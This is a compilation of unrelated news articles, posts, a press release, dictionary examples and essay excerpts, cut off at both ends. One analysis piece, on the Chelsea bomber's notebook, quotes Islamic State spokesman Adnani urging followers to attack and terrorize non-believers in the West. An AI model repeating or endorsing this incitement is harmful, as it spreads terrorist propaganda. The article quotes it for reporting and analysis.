for a 2x4 or a pipe, I would rather reach for the gun."
-There has been another delay in the disciplinary proceedings for former Victoria police chief Frank Elsner.  Elsner was scheduled to appear for a disciplinary hearing on Monday on allegations of workplace harassment, but that has now been moved to Nov. 6.  His previous lawyer was appointed to the B.C. Supreme Court. and he has new counsel.  Elsner has another hearing scheduled on Nov. 21 related to allegations that he gave misleading information to an investigator looking into inappropriate Twitter messages sent to the wife of a Victoria police officer.  In May, Elsner resigned as police chief after being suspended with pay in April 2016 for sending sexually charged social media messages to a female of another police force.  A B.C. Supreme Court judge later tossed out two of five allegations against Elsner, but a probe continues into allegations Elsner contacted witnesses related to the complaint and gave misleading information to investigators.  With files from The Canadian Press
-Sestero — who as Johnny's "best friend" Mark is a central cog in the whole storyline of The Room — co-penned the 2013 memoir The Disaster Artist, about his friendship with Wiseau and their most famous collaboration ("a really, really strange film I made when I was in my early 20s”), which is the basis of the A24 movie. And it was very much with a Hollywood adaptation in mind. "From day one, I was like, 'I want this to be a movie like Ed Wood or Sunset Boulevard,' " says Sestero. Once James Franco and his team were on board, Sestero offered up as much material as he could — even digging out his old denim jacket from The Room — to help them capture the spirit of 2003. He also met with James' brother Dave several times. "We just talked about coming to L.A., trying to be an actor and getting these obscure projects, trying to make them good and realizing that they're not," recalls Sestero, who says he's stoked with the results. "James is next level — he brings Tommy to life in a way I didn't think was possible. And Dave carries his role in a way that helps James shine even more." Should Disaster Artist make it to the Oscars, Sestero is hoping he and Wiseau can dust off their old tuxes from The Room. "But I don't think we'd bring the football this time," he says. (One memorable scene from The Room features four black-tie-clad guys tossing a pigskin in an alley.)
-“Don’t Sleep with the Sultan,” says the headline on a full-page ad in the current issue of entertainment industry publication Variety.  Bearing the logos of several LGBT and allied organizations, the ad encourages readers to boycott the Beverly Hills Hotel and the Hotel Bel-Air. Both hotels are Dorchester Collection properties. Dorchester is owned by the Brunei Investment Agency. The hotels have faced a protest and a high-profile boycott as a result of its connection with the government of Brunei, where Sultan Hassanal Bolkiah has begun implementing a shockingly severe version of Sharia law.  Here’s the text of the ad:  When you stay at The Beverly Hills Hotel, the Hotel Bel-Air, or any of the other Dorchester Collection properties owned by the Sultan of Brunei and his Brunei Investment Agency, you’re funding a regime that could soon start flogging women who exercise the right to choose and stoning LGBT people for being who they are.  Please stand with us and send a message to the Sultan of Brunei that his medieval brand of brutality has no place in the 21st century.  If you’re planning an event at one of the Dorchester hotels, please host it elsewhere. If you’re going out for drinks or a meal, dine at a property whose owner doesn’t support the oppression of women and LGBT people. And please don’t spend a night at any of the Sultan’s Dorchester Collection of hotels.
-We were betrayed by a perfidious ally. a perfidious campaign worker revealed the senator's strategy to his leading rival for the nomination  Recent Examples on the Web  The new heroes are black and white women determined to clean up the mess created by Fowler and his perfidious white financial backer. Tony Adler, Chicago Reader, "There’s a great play to be written about bigotry in Evanston in the early 20th century," 11 May 2018  Some have warned of a perfidious plot to revive the British empire with help from Muslims, particularly Shias, who revere the Prophet’s descendants. The Economist, "Muslims consider Queen Elizabeth’s ties to the Prophet Muhammad," 5 Apr. 2018  This ought to be the primary context for any analysis of Trump’s standoff with the FBI, but instead Dershowitz wishes it away, and reimagines Trump as an innocent man hounded by a perfidious and unethical prosecutor. Jonathan Chait, Daily Intelligencer, "Alan Dershowitz’s Audition to Be Trump’s Lawyer Is Not Going Well," 21 Mar. 2018  The problem isn’t that Obama and Clinton and Trump and whoever else are all perfidious backstabbers who have betrayed the anti-intervention movement. Noah Berlatsky, Slate Magazine, "We Need a War Tax," 24 Apr. 2017  Their allegiance was met by this unholy alliance of perfidious greed devolving rapidly into the audacity of vituperative unparalleled predatory rapacity. Fortune, "24 Facts You May Not Know About Warren Buffett," 31 Aug. 2017  Unsurprisingly, many ordinary Americans came to see themselves as victims of perfidious conspiracies, channeling their energies into indignant rebellions like the Anti-Masonic Party. Kevin Baker, New Republic, "Trail of Fears," 13 June 2017  Even by that relatively late date, when the authoritarian nature of the regime was already clear, Jacobin was defending it against its perfidious neoliberal critics. Jonathan Chait, Daily Intelligencer, "100 Years After the Bolshevik Revolution, Communism Hasn’t Changed," 28 June 2017  These example sentences are selected automatically from various online news sources to reflect current usage of the word 'perfidious.' Views expressed in the examples do not represent the opinion of Merriam-Webster or its editors. Send us feedback.
-Never separate a man and his best friend. Especially if his best friend has an adorable face like that one!  The soldier in the above photo is Robert Gabbert, who was deployed to Afghanistan in March. Before he left, he put Baxter, his three-year-old Shiba Inu, in the care of his then girlfriend.  Well, between Robert's deployment and now, that girlfriend—sorry, ex-girlfriend, decided to sell his dog on Craigslist. When he found out about Baxter getting a new home, Robert posted a desperate message on Craigslist (that has since been deleted) begging for help:  "I am currently deployed and my ex sold my dog. I just found out and I am trying to find the people (person) who bought him. I will pay anything to get him back. His name is Baxster and he is an Shiba Inu. I do not have my phone with me. You can email me. The phone number is my mom's she is helping me locate him. If you have any information PLEASE give us a call or an email."
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-US Air Force Hilariously Trolls Trump With New California Solar Energy Upgrade  March 14th, 2017 by Tina Casey  The solar-friendly State of California has positioned itself in opposition to Trump Administration policies on energy and climate change, and it looks like the Air Force is in California’s corner. Last week the sprawling Los Angeles Air Force Base — home of the Space and Missile Systems Center — entered into an $11 million energy modernization project with Honeywell that includes rooftop solar arrays on four buildings.  Under the Obama Administration, Los Angeles AFB was an early adopter of renewables, electric vehicles, vehicle-to-grid systems and other low carbon technology. Apparently the Air Force has no intention of slowing down now that a fossil fuel fan has taken up residence in the White House.  Money-Saving Solar Power For Los Angeles Air Force Base  The new $11 million energy project is a soup-to-nuts makeover that will pay for itself within a reasonable amount of time.  It’s a first-of-its-kind project for the US Air Force Civil Engineer Center, which awarded the contract. The Department of Defense pays no money up front for the improvement. All of the costs are covered by energy savings, and then some.  In a press release, Honeywell teased out a statement from Los Angeles Air Force Base that gently reminds the taxpaying public of the benefits of low carbon energy:  As a critical location for the U.S. Air Force, we strive to ensure the services we provide meet the highest standards of excellence, and the same should be said of our building infrastructure…This project is a way for us to keep base facilities operating optimally and in the most environmentally and budget-sound way possible.  According to Honeywell, the project will shave about 17% off the facility’s energy use. The savings will average about $800,000 per year for the life of the contract. That’s a 23-year contract so group hug for all of us taxpayers.  The rooftop solar panels — 3,400 of them spread out over four buildings — will account for about 10% of Los Angeles AFB’s energy use.  The project also includes lighting, AC, and irrigation upgrades.  Meanwhile, Over In New Jersey…  Air Force renewable energy projects that began under the Obama Administration are also continuing to play out under the Trump Administration.  Last December, New Jersey’s Joint Base McGuire-Dix-Lakehurst broke ground on a new solar array. Clocking in at 50,000 solar panels and 16.5 megawatts, when completed it will be the largest US military solar farm in the Northeast.  In a press release announcing the new project, the Air Force voiced some thoughts on the importance of solar power for national defense:  This is a great example of a cleaner, more resilient project, and we’re going to be doing more of them…This project demonstrates the innovative pathways our Airmen and civilians are taking to strengthen mission assurance through energy assurance.  Did you catch that thing about “more of them?”  Like Los Angeles AFB, Joint Base McGuire-Dix-Lakehurst also emphasized the benefits to taxpayers:  Solar power is one of the most efficient and affordable energy alternatives today…Whether you’re interested in solar power because of its economic or environment impact, during these times of budgetary constraints on the federal side and the state side, I think we can all agree this joint solar project could not happen at a greater time.  …And Then There’s Utah…  The Air Force is also going full speed ahead with construction of a new Innovation Center on the grounds of Hill Air Force Base in Utah.  The Innovation will come under the umbrella of the Utah Science Technology and Research (USTAR) initiative, with the aim of leveraging Air Force support for technology startups.  Hill AFB is already a job-creating machine for Utah and the new facility is expected to generate even more by forging a “Silicon Hill” identity for growing tech employment in the northern area of the state.  USTAR launched about 10 years ago, when state policymakers charted a new science-based path for economic development, leveraging its academic research assets:  Utah’s economic future is at stake. Without a carefully planned strategy, Utah will certainly grow, but not with high-paying jobs that support a family and that generate sufficient tax revenues to support our large education burden…Low salaries have social consequences: more families needing multiple incomes to survive economically, higher bankruptcy rates, the lowest per-pupil education spending in the nation. We must aspire to be a high-wage state.  [snip]  …In the globally-competitive Knowledge Age, Utah is falling behind, even as science and technology are advancing rapidly, spawning entirely new industries and high-tech businesses.  Ouch! So much for bringing back coal jobs.  Speaking of the Knowledge Age, new EPA chief Scott Pruitt might want to take a refresher course or two at the University of Utah. Here’s a snippet from the school’s Geology department:  As the impacts of climate change become more severe over the coming years and decades, companies, government agencies, and non-governmental organizations will be required to adapt and respond to climate change. Scientifically-based, up-to-date knowledge is essential to formulating adaption and response strategies. A certificate in climate change is marketable evidence of this essential knowledge.  Follow me on Twitter and Google+.  Photo: via Los Angeles Air Force Base.
-Show full PR text  VIBER RELEASES DESKTOP VERSION – YOU'LL WANT TO SIT DOWN FOR THIS  Leading Free Messaging And VoIP Platform Unveils Windows And Mac Versions With Video Calls; Launches Version 3.0 Of Its Platform, Completely Redesigns Viber for Android, Supports Eight Additional Languages And Announces It Has 200 Million Users  LONDON – May 7, 2013, Viber, the leading mobile communications platform offering free messaging and HD-quality phone calls, announces today the release of Viber Desktop for PC and Mac. The new versions seamlessly integrate with existing mobile versions of the app and provide the same super-simple setup process that uses your phone number as your ID.  You can download Viber Desktop here: www.viber.com  The company also announced today that it has over 200 million users across the various platforms that it supports.  Viber has revolutionized free messaging and VoIP on mobile with its popular app for leading platforms including Android, iOS, Windows Phone, BlackBerry and others. Now with the release of Viber Desktop, users have one easy-to-use and always available solution for free messages and calls.  One of the strengths of Viber is its easy activation process. The company has replicated the same process with Viber Desktop. As soon as you enter your mobile number and a confirmation code which is sent to your mobile Viber app, you are ready to go! All of your mobile Viber contacts are instantly and continuously synced from your mobile Viber to Viber Desktop.  Viber Desktop and the latest versions of the Viber app were designed from the ground up for individuals using Viber on multiple devices, so you can always use the app that's right for you, whether at home, in school, at the office, or on the go. Viber offers far more flexibility than any similar product. Some of the key combined features include:  Seamlessly transfer calls between Viber Desktop and the Viber app with one click or tap  Received and Sent messages are shown on all devices, but will only "beep" on the device you are currently using  Messages and conversations you delete from one device will be removed from all devices  On top of this, Viber Desktop is Viber's first application to offer video calls. With this new beta feature, users can now make desktop-to-desktop video calls to other Viber users.  "People spend a substantial amount of time on their smartphones," said Talmon Marco, CEO of Viber. "However, a lot of that usage takes place at home or in the office, where they have laptops or desktops close by. With Viber Desktop you always get to use the most convenient device. You can seamlessly switch devices while messaging and even transfer calls between your mobile and desktop."  The release of Viber Desktop is part of the roll out of Viber 3.0, the next major version of the platform. The 3.0 release includes major updates to both the Android and iOS versions of the app, as well as a new version for BlackBerry that ensures voice calling as well as compatibility with Viber Desktop.  Viber for Android now features a completely redesigned "Holo" interface as well as numerous Android specific optimizations.  Both the Android and iOS versions were not only designed to ensure seamless communication with the new desktop version but also include a host of new features.  Key highlights of the new versions include:  Video messages  New stickers  Last online status  Enhanced photo experience  Performance improvements  New voice engine  Android version security fix  On top of this, Viber now speaks your language, with support for eight new languages and 20 languages overall. Supported languages include (new in Bold): Arabic, Catalan, Chinese (Simplified), Chinese (Traditional), Dutch, French, German, Hebrew, Indonesian, Italian, Japanese, Korean, Malay, Portuguese, Portuguese (Brazil), Russian, Spanish, Swedish, Thai, Turkish, and Vietnamese.  About Viber:  Viber is developed by Viber Media, a pioneering mobile messaging and VoIP company. Viber lets everyone in the world connect. Freely. Viber users can send free text messages, photo messages, share locations anywhere in the world, and make free, HD-quality calls on iPhone®, Android,™ Windows Phone, Blackberry®, Windows®, Mac, Symbian, Nokia S40 and Bada devices over 3G/4G or WiFi connections. With more than 200 million users in 193 countries, Viber is constantly innovating by introducing new platforms and adding fun new features including stickers and emoticons.
-Three friends of the late comedian Harris Wittels showed up at the High School for the Performing and Visual Arts' annual Encore Luncheon Tuesday at the River Oaks Country Club to talk about their friend, as Wittels was chosen as the event's annual distinguished alumnus.  Scott Aukerman recalled the time Wittels wrote a joke spoken by President Barack Obama.  Aukerman has spent years working in comedy, having launched the popular podcast and TV show "Comedy Bang! Bang!" and also co-created the surreal interview show "Between Two Ferns with Zach Galifianakis." A few years ago "Ferns" was about to welcome its biggest guest, and Aukerman emailed Wittels asking for some additional jokes for the show.  Wittels was on deadline for another project, but after midnight he sent a few pages of ideas like "When you fart, do you give yourself a presidential pardon?" Only one joke made it. Galfianakis asked Obama if he planned to seek a third term. Obama, referencing one of Galiafanakis' film failures, read Wittels' line: "If I ran a third time, it'd be like making a third 'Hangover' movie."  Wittels died of a drug overdose in February 2015, shortly before the final episode of "Parks and Recreation" aired, not even 10 years into a fast-moving comedy career that made fans and then friends of comics like Louis CK, Sarah Silverman and Aziz Ansari.  His most visible work was as a writer and producer on the TV show "Parks and Recreation," though Wittels also found numerous fans through his appearances on various podcasts, where he'd talk about comedy, his struggle with drug addiction and, quite memorably, his affinity for the jam band Phish.  Tuesday's luncheon touched on all phases of Wittels' too-short career, and also referenced his early years in Houston where he started in musical theater, doing a production of "Oliver" at Lanier Middle School. He studied theater at HSPVA before going to college and then moving to Los Angeles, where within two months he made a strong impression with his stand-up comedy. At the urging of a friend, Aukerman booked Wittels sight unseen at the UCB Theatre's "Comedy Death Ray" show.  "He destroyed the first night, he was just great," Aukerman said prior to the luncheon. "Usually the real test is the second time somebody does the show. If they use the exact same material, it means they're not confident in anything but that first material. But he did all new stuff and he destroyed again. He was just that good."  The shows led to Wittels opening for Louis CK and a writing job for Silverman's TV show, which in turn led to his work on "Parks and Recreation," where he collaborated with actor Adam Scott, who also came to Houston for the luncheon.  "Harris was the barometer for whether a joke was good or hacky," Scott said. "He wasn't shy about throwing terrible jokes out there. He prided himself on it. But it was part of finding the true comedy gold. He was the harshest critic. You could depend on Harris for the best, funniest jokes."  Aukerman and Jeff Ullrich started Earwolf, a podcasting network with an emphasis on comedy. There Wittels contributed different material that was often autobiographical.  "He was a great performer, but working as a writer like he did, that doesn't really come with a lot of fans," Aukerman said. "But because of the podcasts he got well known around the world. People tell me about how his work affected them, helped them through tough times. These podcasts, which essentially started as something to do on goof-around days for us, became a document of his personality worldwide."  Scott compared Wittels use of personal content to comedic works by Lenny Bruce and Richard Pryor. "That's what the greats did," he said. "A lot of us on something like these podcasts hide a little of ourselves. We don't go into detail about certain aspects of our lives. Harris never had that. Stuff you'd never talk about, you'd worry your parents would hear ... he wasn't afraid of that."  Ullrich said the nature of podcasting changed with an episode of "Analyze Phish," where Harris, the Phish enthusiast, dragged Aukerman (not a fan) to see the band at Madison Square Garden. They found an interesting new way to voice comedic narrative in podcast form. That episode was made available in January 2012 at a time when comedian-centric podcasts - like Marc Maron's popular "WTF" - were finding increasing listenership.  "People do storytelling differently because of that one episode," he said.  Aukerman, Scott and Ullrich shared stories with the gathered crowd at the luncheon, and all three spoke with appreciation for arts-centric public high schools. Aukerman recalled his own experience as an outcast in school - unbeknownst to his parents - until he found an arts school. "My parents asked me, 'Are you going to be OK not seeing your friends anymore?' " he joked.  The Encore Luncheon is a big HSPVA fundraiser. Past distinguished alumni honored include "Grey's Anatomy" star Chandra Wilson and photographer Mark Seliger. Wilson sent a video greeting Tuesday, pledging a hefty donation to the school. She also auctioned off a set visit to "Grey's Anatomy" for the high bidder and three friends that went for $20,000.  The event included HSPVA students performing in a big band setting, and a spirited piece from the musical "Something Rotten."  "It makes perfect sense," Aukerman said, "that's where Harris spent his high school years."
-Image copyright Welsh Government  Welsh Conservatives have pledged to give free bus travel to all 16-24 year olds in Wales, and have urged Labour ministers to do the same.  The Green Card - which the Tories said could cost up to £25m a year - would also give a third off rail tickets.  Education spokesman Darren Millar said young people suffered high car insurance and the lowest wages.  The Welsh Government dismissed the plan as "fantasy economics", saying it would consult on a new discount travel pass.  The current MyTravelPass scheme gives 16-18 year olds a third off bus fares.  Mr Millar said the Welsh Conservatives' "exciting offer for young people" would also protect the environment and help save local bus routes from the axe.  His colleague Russell George, the Tories' economy spokesman, added that travel costs could be a "huge barrier" to education, training and job opportunities.  'Fag packet' economics  "We are committed to building a stronger economy and a fairer society, and we believe that young people should benefit from the same travel concessions offered to Wales' over-60s," he said.  The Conservatives said the scheme would be funded by scrapping the education maintenance allowance (EMA), which they have previously proposed.  A Welsh Government spokesman said: "These Tory proposals have been made up on the back of a fag packet.  "To think you can provide 350,000 people with free bus travel and a third off rail fares for £25m is fantasy economics."  The spokesman added that the Welsh Government would be launching a consultation next week on plans to launch a replacement for MyTravelPass in April.  "It will be a discounted travel scheme grounded in reality, that can encourage more young people onto Welsh buses," he said.
-Sound principles and practices of statecraft  It is an unflattering commentary on our times and on our narrative-manufacturers that it falls to an outsider - a former American President ---to remind us of our collective obligation to involve and include the Muslims in our national story. Our mainstream media industry has since May 2014 unfortunately bought into a new story-line in which the minorities are either demonised as friends and promoters of inimical forces and terror groups or subjected to an elaborate rituals of benign neglect. We are content to write the grammar of a "new India," which ipso facto rejects the old India's accent on plurality, inclusiveness, participation and partnership. It no longer bothers our conscience that even in popular cultural narratives the minorities, particularly the Muslims, are denied a place of respect and appreciation.  The ruling Bharatiya Janata Party is entitled to its political and electoral calculus of majoritarianism. The sober fringe in the ruling conglomerate finds itself completely marginalised after the grand success of Hindu vote bank politics in Uttar Pradesh, especially after the anointment of so-obvious a Hindu face as Yogi Adityanath as the chief minister. The majoritarianism is recognised to have a momentum of popular acceptance behind it. An otherwise sensible political leader like Nitish Kumar too has found it cost-effective to make his peace with the hard-line Hindutva forces. So much so, even the Congress mascot, Rahul Gandhi, deems it necessary to position himself as a 'janudhari Hindu' and feels constrained to visit every big or small temple in Gujarat. And, ludicrously enough, Rahul Gandhi's temple-hopping has prompted the BJP to field its most modern face, Arun Jaitley, to remind everyone that it is the ruling party that had the or intellectual property rights to “Hindutva” platform.  President Obama's observations should jolt us out of our internal preoccupations. We need to keep in mind that the outside world judges us differently by exacting global good practices in governance, geopolitics and economics. Obama was not being preachy; he was simply reminding us of sound principles of statecraft observed, recognised and practised statesman-wisely by Jawaharlal Nehru, Indira Gandhi, Atal Bihari Vajpayee and Manmohan Singh.
-My Secret Santa gift arrived today! I was ecstatic to get home from work to find the box on my porch. The thoughtfulness of my SS and their SO is remarkable.  The card with a handwritten note inside made this a personal experience that made my wife and I remember just how important it is to give not just this time of the year, but all year long. We received a one-hundred dollar bill (which made my wife and I tear up). We have been making gifts for everyone in our lives this year due to a lack of money. This was incredibly thoughtful of our SS as we are going to pass this thoughtfulness along to some less fortunate members of our families this year and use it to help get groceries/household items that can be useful for them. From the bottom of our hearts, thank you so much.  We also received a hockey puck bottle opener which will be incredibly useful for the coming New Years Eve party! Finally, we received something that neither my wife and I have ever had, homemade biscotti. It is delicious! SS, your assumption of my enjoyment of spices was correct! You weren't lying about the late heat your cayenne's give off, they're amazing! The rest of my family heard I was doing this and have asked for me to share my biscotti with them, which I guess I can do =)  This is my first gift exchange through Reddit and will not be my last. I have been so excited and happy to see all of the awesome and thoughtful gifts that have been passed around to complete strangers, this is amazing. Thank you again for the kind words and the personal touch to your gift. You have shared the spirit of Christmas with my wife and I. We truly appreciate what you have done. We wish you, your family, and friends a Merry Christmas! Also, stay safe on your journey of moving and we wish you the best moving forward.
-I decided to make an index of my fanfic since it will be long, and all the chapters will be separated into multiple parts.  Here it is! It will be updated when a new part comes out.  The Missing Children Incident - index  Prologue A little girl discovers that it is a very bad idea to talk to strangers in the empty parking.  Part 1 - The Missing Children Incident 1  Part 2 - The Missing Children Incident 2  Chapter 1 - Fazbear's Family Diner Barney (the purple guy) now works at the restaurant and hears about some of the dark secrets of his new workplace from his friend, Scott, the Phone Guy.  Part 1 - The Missing Children Incident 3  Part 2 - The Missing Children Incident 4  Chapter 2 - Pirate Cove  We finally know the five children who are "roleplaying" as pirates.  Part 1 - The Missing Children Incident 5  Part 2 - The Missing Children Incident 6  Part 3 - The Missing Children Incident 7  Chapter 3 - Operation Foxy  The kids discover the new girl in Pirate Cove. They don't like her.  Part 1 - The Missing Children Incident 8  Part 2 - The Missing Children Incident 9  Az eltűnt gyerekek esete - tartalom  Prológus  Egy kislány fölfedezi, hogy nagyon rossz ötlet a kihalt parkolóban idegen férfiakkal beszélgetni.  Első rész - The Missing Children Incident HUN prologue pt1  Második rész - Missing Children HUN prologue 2/2  Első fejezet - Fazbear's Family Diner  Barney ( a "lila csávó") most már a vedéglőnél dolgozik, és telefonos kollégájától megtud pár dolgot a vendéglő sötét múltjából.  Első rész - Missing children 3 HUN  Második rész - Missing children incident 4 HUN  Második fejezet  A Kalóz-öbö l: Végre megismerkedünk a sztori valódi hőseivel, a gyerekekkel, akik kalózosat játszanak.  Első rész - Missing Children HUN 5  Második rész - Missing children 6 hun  Harmadik rész - Missing Children 7 HUN  Harmadik fejezet  A Foxy-hadművelet: Új robot kerül a Kalóz-öbölbe. A gyerekeknek ez nem tetszik.  Első rész - Missing Children Hun 8  Második rész - Missing Children 9 HUN  This is a Five nights at Freddy's fanfiction, based on Scott Cawthon's games. However, it is not heavily game-based, since the game has very hidden story elements (we don't even know the characters names), so I put the pieces together as I like them, as lore-friendly as I could but I changed many things to make them dramaturgically more interesting. There are also lots of added things like the purple guy's past, phone guy's death, the names of the characters etc.If you prefer fanfiction.net, here is the link: www.fanfiction.net/s/11506533/… ----Úgy döntöttem, hogy mivel kevés a magyar Five nights at Freddy's fanfiction (igazából én eggyel sem találkoztam...), felrakom az indexbe a sztorim magyar nyelvű verzióját is, hiszem az sokkal jobb, mint az angol. Olvassátok szeretettel, vigyázat, nem egy aranyos sztori, elég gonosz, de végül is egy perverz gyerekgyilkos agyában kalandozunk. Meg persze a gyerekekében.Amennyiben jobban szeretitek a fanfiction.net-et, itt a link: www.fanfiction.net/s/11544914/…
-Let’s skip the obvious. Leave aside, for instance, the way Donald Trump’s decision to launch 59 Tomahawk cruise missiles against a Syrian airbase is but another example of what we already know: that acts of war are now the prerogative, and only the prerogative, of the president (or of military commanders whom Trump has given greater authority to act on their own). Checks, balances? I doubt either of them applies anymore when it comes to war, American-style. These days, the only checks written are to the Pentagon and “balance” isn’t a concept outside of gymnastics.  The only checks written are to the Pentagon and “balance” isn’t a concept outside of gymnastics.  While we wait, here’s a suggestion that came to mind as I read “What Does an ‘America-First’ Foreign Policy Really Mean?” ― the latest thoughts of retired Air Force Lieutenant Colonel William Astore on the military-industrial complex in the age of Trump: Isn’t it time to give the corporate sponsorship of war its just due? After all, there’s hardly an object, building, museum, stadium, or event in civilian life these days that doesn’t have corporate sponsorship plastered all over it and built into it. In my hometown, for instance, baseball’s New York Mets play at Citi Field, while football’s Giants and Jets spend their seasons at MetLife Stadium. Given the role that America’s giant weapons makers play in our wars, and the stunningly successful way they spread their wares around the planet, isn’t it time for the growing war powers of the commander-in-chief to be translated into a militarized version of sponsorship?
-One of the best new features of iOS 10 won’t be available for all devices that are compatible with Apple’s jam-packed mobile update.  Raise to Wake is such a simple and transformative new feature in iOS 10 that it feels like iPhones should have had it for years. Turning on the lock screen by just picking up your iPhone makes getting to notifications and apps quicker, but unless you have an iPad or iPhone released in the last year, you won’t get to enjoy it.  iOS 10 will only add the Raise to Wake feature to iOS devices with an M9 processor. The iPhone 6s, iPhone 6s Plus and iPhone SE are the only three devices that support the feature in the first beta build of iOS 10.  Even though both new iPad Pro sizes have an M9 processor, it appears that Apple is not bringing the feature to the tablet lineup yet. Raise to Wake is especially useful on devices with the second-generation Touch ID sensor that unlocks the device almost instantly, so you never even see your notifications.  Apple plans to release iOS 10 to the public this fall, bringing new whiz-bang features like a new Home app, redesigned lock screen, iMessage apps and effects, Rich Notifications and tons of smaller changes that overhaul the iPhone experience.  via: AppleInsider
-Earlier today, Mike Levine of ABC News tweeted the image above showing a blood-soaked page from Ahmad Khan Rahami’s notebook. The US government has accused Rahami of detonating a bomb in the Chelsea neighborhood of Manhattan on Sept. 17 and planting three other explosive devices in New York and New Jersey.  The page above contains the same passages referenced in the Department of Justice’s complaint against Rahami, which was released yesterday.  Curiously, the complaint does not include any reference to the Islamic State.  The journal contains clear references to both “Sheikh Anwar” and “Brother Adnani.” The former is Anwar al Awlaki, an al Qaeda in the Arabian Peninsula (AQAP) ideologue who was killed in an American drone strike in 2011. The latter is Abu Muhammad al Adnani, who served as the Islamic State’s top spokesman and oversaw the group’s anti-Western plotting until he met his demise in an airstrike in August.  The complaint specifically mentions Awlaki, but does not name Adnani. Here is a screen shot of the language from the complaint:  The complaint cites several lines, which are written in broken English and obscured by blood, including the phrase “back to sham [Syria].” It continues with additional fragments from the notebook: “But [unintelligible] this incident show the risk are [unintelligible] of getting caught under [unintelligible] I looked for guidance and…Guidance came from Sheikh Anwar…Said it clearly attack the Kuffar [non-believers] in their backyard.”  However, it appears that this “guidance” also came from Adnani. The complaint describes these passages as a “reference to the instructions of terrorist leaders that, if travel is infeasible, to attack nonbelievers where they live.”  As The Long War Journal reported when the complaint was published online, this has been a consistent theme in the Islamic State’s messaging. Adnani repeatedly told followers to attack in their home countries if they couldn’t travel to the lands of the so-called caliphate.  In May, for instance, Adnani told followers that if foreign governments “have shut the door of hijrah [migration] in your faces,” then they should “open the door of jihad in theirs,” meaning in the West. “Make your deed a source of their regret,” Adnani continued. “Truly, the smallest act you do in their lands is more beloved to us than the biggest act done here; it is more effective for us and more harmful to them.”  “If one of you wishes and strives to reach the lands of the Islamic State,” Adnani told his audience, “then each of us wishes to be in your place to make examples of the crusaders, day and night, scaring them and terrorizing them, until every neighbor fears his neighbor.”  Adnani told jihadists that they should “not make light of throwing a stone at a crusader in his land,” nor should they “underestimate any deed, as its consequences are great for the mujahideen and its effect is noxious to the disbelievers.”  It appears that at least some of the terrorists who have struck inside Europe in recent months were complying with Adnani’s order.  Immediately underneath Adnani’s name in Rahami’s notebook appears the word “Dawla,” which is another reference to the Islamic State.  It is not clear why these obvious mentions of Adnani and the Islamic State were not included in the complaint, which did include citations to Rahami’s notes on other jihadi figures, such as Anwar al Awlaki and Osama bin Laden.  In June, the FBI released a partial transcript of one of Omar Mateen’s 911 calls. Mateen, who killed 49 people and wounded dozens more during a mass shooting at a LGBT nightclub in Orlando, Fla. on June 12, pledged allegiance to Abu Bakr al Baghdadi during those calls. But the FBI’s transcript initially omitted any reference to Baghdadi or the Islamic State, even though Mateen had obviously sworn his fealty to Baghdadi. A subsequent transcript jointly released by the FBI and the Department of Justice filled those references back in. [See LWJ report, Orlando terrorist swore allegiance to Islamic State’s Abu Bakr al Baghdadi.]  The Islamic State quickly claimed that Mateen was its “fighter.” But the group has not issued a similar claim in Rahami’s case.  Thus far, no jihadi organization has claimed responsibility for the bombs in New York and New Jersey.  Thomas Joscelyn is a Senior Fellow at the Foundation for Defense of Democracies and the Senior Editor for FDD's Long War Journal.  Are you a dedicated reader of FDD's Long War Journal? Has our research benefitted you or your team over the years? Support our independent reporting and analysis today by considering a one-time or monthly donation. Thanks for reading! You can make a tax-deductible donation here.
-The passengers in an SUV driving under the Route 3A overpass in Chelmsford got a nasty surprise when parts of the bridge fell on the car, damaging its windshield and closing two lanes of traffic.  Driver of this vehicle says window smashed when debris fell from 3A overpass while on 495 north. No injuries. #NECN pic.twitter.com/5xzvD99yXa — John Moroney (@JMoNecn) August 19, 2014  The green painted coating of this rusty beam fell on a vehicle on 495 N in Chelmsford pic.twitter.com/yhHsZLPowI — Bernice Corpuz (@BerniceWBZ) August 19, 2014  A family was inside the car when the sky fell, according to 7News’ Nicole Oliverio. They reportedly escaped uninjured except for a few cuts to a child’s hand. Their car, a Ford Escape, was towed away from the scene.  A spokesman for MassDOT told WBZ that paint and other debris broke off a rusted beam supporting the overpass. Two lanes of traffic on the northbound side of I-495 have been closed while MassDOT crews repair and clean the bridge.
-Old Lady Gang's Southern Cuisine will be located at 177 Peters Street Southwest in Castleberry Hill.  Real Housewives of Atlanta star Kandi Burruss and husband Todd Tucker are working hard on their forthcoming establishment, Old Lady Gang's Southern Cuisine.  According to a commercial alteration permit filed with City of Atlanta Friday, the restaurant will be located at 177 Peters Street SW in Castleberry Hill.  AdvertisementThe permit calls for about $145,000 worth of renovations to the space.  Real Housewife Kandi Burruss comes from a family with many great cooks. Fans of the most successful Bravo Housewives franchise are well-aware of her husband Todd's plans to open a Southern Cuisine restaurant centered around the recipes of the women in her family.  Until now, the exact location of the forthcoming restaurant was unknown, although Burruss had revealed late last year that the restaurant would be located in Castleberry Hill.  What do you think of the concept? Tell us below...
-Late in the afternoon on April 2, 1991, Mt. Pinatubo, a volcano on the Philippine island of Luzon, began to rumble with a series of the powerful steam explosions that typically precede an eruption. Pinatubo had been dormant for more than four centuries, and in the volcanological world the mountain had become little more than a footnote. The tremors continued in a steady crescendo for the next two months, until June 15th, when the mountain exploded with enough force to expel molten lava at the speed of six hundred miles an hour. The lava flooded a two-hundred-and-fifty-square-mile area, requiring the evacuation of two hundred thousand people. Within hours, the plume of gas and ash had penetrated the stratosphere, eventually reaching an altitude of twenty-one miles. Three weeks later, an aerosol cloud had encircled the earth, and it remained for nearly two years. Twenty million metric tons of sulfur dioxide mixed with droplets of water, creating a kind of gaseous mirror, which reflected solar rays back into the sky. Throughout 1992 and 1993, the amount of sunlight that reached the surface of the earth was reduced by more than ten per cent. The heavy industrial activity of the previous hundred years had caused the earth’s climate to warm by roughly three-quarters of a degree Celsius, helping to make the twentieth century the hottest in at least a thousand years. The eruption of Mt. Pinatubo, however, reduced global temperatures by nearly that much in a single year. It also disrupted patterns of precipitation throughout the planet. It is believed to have influenced events as varied as floods along the Mississippi River in 1993 and, later that year, the drought that devastated the African Sahel. Most people considered the eruption a calamity. For geophysical scientists, though, Mt. Pinatubo provided the best model in at least a century to help us understand what might happen if humans attempted to ameliorate global warming by deliberately altering the climate of the earth. For years, even to entertain the possibility of human intervention on such a scale—geoengineering, as the practice is known—has been denounced as hubris. Predicting long-term climatic behavior by using computer models has proved difficult, and the notion of fiddling with the planet’s climate based on the results generated by those models worries even scientists who are fully engaged in the research. “There will be no easy victories, but at some point we are going to have to take the facts seriously,’’ David Keith, a professor of engineering and public policy at Harvard and one of geoengineering’s most thoughtful supporters, told me. “Nonetheless,’’ 